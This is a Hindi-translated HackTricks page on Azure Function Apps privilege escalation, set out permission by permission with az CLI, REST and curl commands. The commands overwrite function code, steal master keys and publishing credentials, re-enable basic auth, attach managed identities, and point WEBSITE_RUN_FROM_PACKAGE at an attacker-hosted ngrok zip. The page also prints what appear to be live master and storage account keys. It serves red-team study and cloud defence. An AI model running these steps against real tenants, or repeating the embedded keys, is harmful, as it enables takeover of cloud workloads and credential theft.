Az - Functions App Privesc

Reading time: 17 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Function Apps

अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:

Az - Function Apps

Bucket Read/Write

यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो आप विभिन्न कंटेनरों (कस्टम या पूर्व-निर्धारित नामों के साथ) को खोज सकते हैं जो फ़ंक्शन द्वारा निष्पादित कोड को समाहित कर सकते हैं।

एक बार जब आप यह पता लगा लेते हैं कि फ़ंक्शन का कोड कहाँ स्थित है, यदि आपके पास उस पर लिखने की अनुमति है, तो आप फ़ंक्शन को कोई भी कोड निष्पादित करने के लिए बना सकते हैं और फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ा सकते हैं।

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING और WEBSITE_CONTENTSHARE)

फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर संग्रहीत होता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और फ़ंक्शन को मनमाने कोड को लोड करने के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाना संभव हो जाता है।

यह तैनाती विधि आमतौर पर सेटिंग्स WEBSITE_CONTENTAZUREFILECONNECTIONSTRING और WEBSITE_CONTENTSHARE को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं

bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

वे कॉन्फ़िगरेशन स्टोरेज अकाउंट की को शामिल करेंगे जिसका उपयोग फ़ंक्शन को कोड तक पहुँचने के लिए किया जा सकता है।

caution

फ़ाइल शेयर से कनेक्ट करने और स्क्रिप्ट को संशोधित करने के लिए पर्याप्त अनुमति के साथ, फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।

निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करता है, लेकिन फ़ाइल शेयरों के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है:

Az - File Shares

bash
# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

यह सामान्य है कि zip releases को उस फ़ोल्डर function-releases के अंदर पाया जाए जो Storage Account कंटेनर में है जिसका उपयोग फ़ंक्शन ऐप कर रहा है, जो आमतौर पर function-releases कहलाता है।

आमतौर पर, यह तैनाती विधि WEBSITE_RUN_FROM_PACKAGE कॉन्फ़िग सेट करेगी:

bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

यह कॉन्फ़िगरेशन आमतौर पर SAS URL को डाउनलोड करने के लिए स्टोरेज अकाउंट से कोड प्राप्त करने के लिए शामिल होगा।

caution

यदि ब्‍लॉब कंटेनर से कनेक्‍ट करने के लिए पर्याप्‍त अनुमति है जो कोड को ज़िप में शामिल करता है, तो फ़ंक्‍शन में मनमाना कोड निष्‍पादित करना और विशेषाधिकार बढ़ाना संभव है।

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

पिछले मामले की तरह, यदि तैनाती Github Actions के माध्यम से की जाती है, तो स्टोरेज अकाउंट में github-actions-deploy फ़ोल्डर खोजना संभव है जिसमें कोड का ज़िप और सेटिंग WEBSITE_RUN_FROM_PACKAGE में ज़िप के लिए एक SAS URL शामिल है।

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING और WEBSITE_CONTENTSHARE)

स्टोरेज अकाउंट के अंदर फ़ंक्‍शन डेटा को संग्रहीत करने वाले कंटेनरों को पढ़ने के लिए अनुमतियों के साथ, scm-releases कंटेनर खोजना संभव है। वहाँ, Squashfs फ़ाइल प्रणाली फ़ाइल प्रारूप में नवीनतम रिलीज़ खोजना संभव है और इसलिए फ़ंक्‍शन के कोड को पढ़ना संभव है:

bash
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

यह भी संभव है कि मास्टर और फ़ंक्शन कुंजी को स्टोरेज खाते में azure-webjobs-secrets कंटेनर में <app-name> फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।

caution

यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो कोड को ज़िप एक्सटेंशन फ़ाइल में रखता है (जो वास्तव में एक squashfs है), तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।

bash
# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

यह अनुमति निर्दिष्ट फ़ंक्शन के फ़ंक्शन, मास्टर और सिस्टम कुंजियों को सूचीबद्ध करने की अनुमति देती है, लेकिन होस्ट कुंजी नहीं।

bash
az functionapp keys list --resource-group <res_group> --name <func-name>

मास्टर कुंजी के साथ, एक URL में स्रोत कोड प्राप्त करना भी संभव है:

bash
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v

और कार्य में निष्पादित हो रहे कोड को बदलने के लिए:

bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

यह अनुमति निर्दिष्ट फ़ंक्शन की होस्ट कुंजी प्राप्त करने की अनुमति देती है:

bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Microsoft.Web/sites/host/functionKeys/write

यह अनुमति निर्दिष्ट फ़ंक्शन की फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

यह अनुमति निर्दिष्ट फ़ंक्शन के लिए मास्टर कुंजी बनाने/अपडेट करने की अनुमति देती है:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

caution

याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं और इसे पहले बताए अनुसार संशोधित कर सकते हैं!

Microsoft.Web/sites/host/systemKeys/write

यह अनुमति निर्दिष्ट फ़ंक्शन के लिए एक सिस्टम फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/config/list/action

यह अनुमति एक फ़ंक्शन की सेटिंग्स प्राप्त करने की अनुमति देती है। इन कॉन्फ़िगरेशन के अंदर, यह संभव है कि AzureWebJobsStorage या WEBSITE_CONTENTAZUREFILECONNECTIONSTRING के डिफ़ॉल्ट मान मिलें, जिसमें ब्लॉब स्टोरेज तक FULL अनुमतियों के साथ पहुँच के लिए एक खाता कुंजी होती है।

bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>

इसके अलावा, यह अनुमति SCM उपयोगकर्ता नाम और पासवर्ड (यदि सक्षम हो) प्राप्त करने की भी अनुमति देती है:

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा था, साथ ही इन मानों को संशोधित करने की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है।

इसलिए यह संभव है कि सेटिंग का मान WEBSITE_RUN_FROM_PACKAGE को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें एक वेब एप्लिकेशन के अंदर निष्पादित होने के लिए नया कोड हो:

  • वर्तमान कॉन्फ़िगरेशन प्राप्त करने से शुरू करें
bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • वह कोड बनाएं जिसे आप फ़ंक्शन को चलाना चाहते हैं और इसे सार्वजनिक रूप से होस्ट करें
bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में WEBSITE_RUN_FROM_PACKAGE कॉन्फ़िगरेशन जोड़ें जो कोड के साथ zip वाली URL की ओर इशारा करता है।

निम्नलिखित मेरे अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी, अंत में मान "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip" है, यहाँ मैंने ऐप को होस्ट किया था।

bash
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

इस अनुमति के साथ किसी एप्लिकेशन के कोड को वेब कंसोल के माध्यम से संशोधित करना संभव है (या निम्नलिखित API एंडपॉइंट के माध्यम से):

bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

यह अनुमति सभी प्रकाशन प्रोफाइल को सूचीबद्ध करने की अनुमति देती है, जो मूल रूप से बुनियादी प्रमाणीकरण क्रेडेंशियल शामिल करती है:

bash
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

एक और विकल्प होगा कि आप अपनी खुद की क्रेडेंशियल्स सेट करें और उनका उपयोग करें:

bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • यदि REDACTED क्रेडेंशियल्स

यदि आप देखते हैं कि वे क्रेडेंशियल्स REDACTED हैं, तो इसका मतलब है कि आपको SCM बेसिक ऑथेंटिकेशन विकल्प को सक्षम करने की आवश्यकता है और इसके लिए आपको दूसरी अनुमति की आवश्यकता है (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • Method SCM

फिर, आप अपने फ़ंक्शन ऐप के SCM URL पर इन बुनियादी प्रमाणीकरण क्रेडेंशियल्स के साथ पहुँच सकते हैं और env वेरिएबल्स के मान प्राप्त कर सकते हैं:

bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

ध्यान दें कि SCM उपयोगकर्ता नाम आमतौर पर वर्ण "$" के बाद ऐप का नाम होता है, इसलिए: $<app-name>.

आप https://<app-name>.scm.azurewebsites.net/BasicAuth से वेब पृष्ठ तक भी पहुँच सकते हैं।

सेटिंग्स मानों में उस स्टोरेज खाते का AccountKey शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित किया जा सकता है।

  • विधि FTP

FTP सर्वर से कनेक्ट करें:

bash
# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

ध्यान दें कि FTP उपयोगकर्ता नाम आमतौर पर इस प्रारूप में होता है <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

यह अनुमति VFS के माध्यम से ऐप का स्रोत कोड पढ़ने की अनुमति देती है:

bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

इस अनुमति के साथ यह संभव है व्यवस्थापक टोकन प्राप्त करें जिसे बाद में मास्टर कुंजी प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है।

हालांकि, मेरी अंतिम जांचों में कोई टोकन वापस नहीं किया गया, इसलिए यह संभव है कि यह अक्षम हो या अब काम न कर रहा हो, लेकिन यहाँ यह है कि आप इसे कैसे करेंगे:

bash
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

यह अनुमति फंक्शंस को सक्षम करने की अनुमति देती है जो कि अक्षम हो सकते हैं (या उन्हें अक्षम कर सकती है)।

bash
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

यह भी संभव है कि आप निम्नलिखित URL में देखें कि कोई फ़ंक्शन सक्षम है या अक्षम (कोष्ठक में अनुमति का उपयोग करते हुए):

bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

इन अनुमतियों के साथ, यह संभव है कि एक फ़ंक्शन ऐप द्वारा चलाए जा रहे कंटेनर को संशोधित किया जा सके जिसे एक कंटेनर चलाने के लिए कॉन्फ़िगर किया गया है। इससे एक हमलावर को एक दुर्भावनापूर्ण azure फ़ंक्शन कंटेनर ऐप को डॉकर हब (उदाहरण के लिए) पर अपलोड करने और फ़ंक्शन को इसे निष्पादित करने की अनुमति मिलेगी।

bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

इन अनुमतियों के साथ, एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से जोड़ा जा सकता है। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा।

bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Remote Debugging

यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को दस्तावेज़ों में समझाया गया के रूप में डिबग करने के लिए कनेक्ट किया जाए। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर कमजोर कॉन्फ़िगरेशन छोड़ने से बचने के लिए भूल जाता है।

यह जांचना संभव है कि क्या किसी फ़ंक्शन में डिबगिंग सक्षम है:

bash
az functionapp show --name <app-name> --resource-group <res-group>

Microsoft.Web/sites/config/write अनुमति होने पर, एक फ़ंक्शन को डिबगिंग मोड में डालना भी संभव है (निम्नलिखित कमांड को भी Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read और Microsoft.Web/sites/Read अनुमतियों की आवश्यकता होती है)।

bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Change Github repo

मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github रिपॉजिटरी को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, नया कोड लोड नहीं हुआ (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।
इसके अलावा, प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ जिससे नई रिपॉजिटरी की अनुमति नहीं मिली, इसलिए यह बहुत उपयोगी नहीं लगता।

bash
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें